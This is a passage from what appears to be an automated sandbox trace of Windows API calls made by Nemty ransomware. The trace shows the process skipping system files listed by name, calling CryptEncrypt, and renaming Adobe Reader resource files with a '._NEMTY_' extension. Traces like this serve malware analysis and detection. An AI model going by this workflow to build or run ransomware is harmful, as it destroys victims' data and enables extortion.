lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.758] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.758] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0206.759] CloseHandle (hObject=0xffffffff) returned 0 [0206.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0206.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0206.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0206.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0206.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.759] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-v._nemty_kgobjgd_")) returned 0 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0206.759] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc07a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-H", cAlternateFileName="GBT-EU~1")) returned 1 [0206.759] lstrcmpiW (lpString1="GBT-EUC-H", lpString2=".") returned 1 [0206.759] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="..") returned 1 [0206.759] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="...") returned 1 [0206.759] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="windows") returned -1 [0206.759] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0206.759] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="rsa") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="NTDETECT.COM") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="ntldr") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="MSDOS.SYS") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="IO.SYS") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="boot.ini") returned 1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="boot.ini") returned 1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="ntuser.dat") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="desktop.ini") returned 1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="CONFIG.SYS") returned 1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="RECYCLER") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="bootmgr") returned 1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="programdata") returned -1 [0206.760] lstrcmpiW (lpString1="GBT-EUC-H", lpString2="appdata") returned 1 [0206.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0206.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0206.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0206.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBT-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBT-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0206.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0206.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0206.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0206.761] Sleep (dwMilliseconds=0x5) [0206.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ee2b4f0, dwHighDateTime=0x1d561e8)) [0206.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ee2b4f0, dwHighDateTime=0x1d561e8)) [0206.782] GetLastError () returned 0x5 [0206.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0206.782] GetLastError () returned 0x5 [0206.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0206.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.782] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0206.782] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0206.783] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0206.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0206.783] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="mNzUXyoUB6wEkiib91T79Q9ZzZBI/NgdcTQQxbhR8Hyhop4AljpVLUlQ8Ag8VYYU\r\n2BNovpljSJP+vgNVzHVTEMHr7BWAZ0hUMBVEv+MzzX9x8xCUDHOmc+OZAHqFJPY3\r\nAOxrRZAHSITzaObGRDgCFSrtrXN9TijCHf3AKMb8Icu/Q8pFHc6xdV1/+wEZBFB8\r\nY7WZmy0GGgFTFe+p2AD3KL72GSfu8oQ3naQAnksL6cjz3mMfbj/t0Q1tswyna3cC\r\nWDEvgB8rcQ95NWqtgBvixL1+5rfhF4IJmy0pEBb9BdcmMwysMpYRPaKRt7Gmbbak\r\nQ1K4XtzmBkax1zoVeOkHIw==\r\n", pcchString=0x653e91c) returned 1 [0206.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0206.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0206.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0206.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0206.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0206.783] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0206.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0206.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.793] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.793] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, 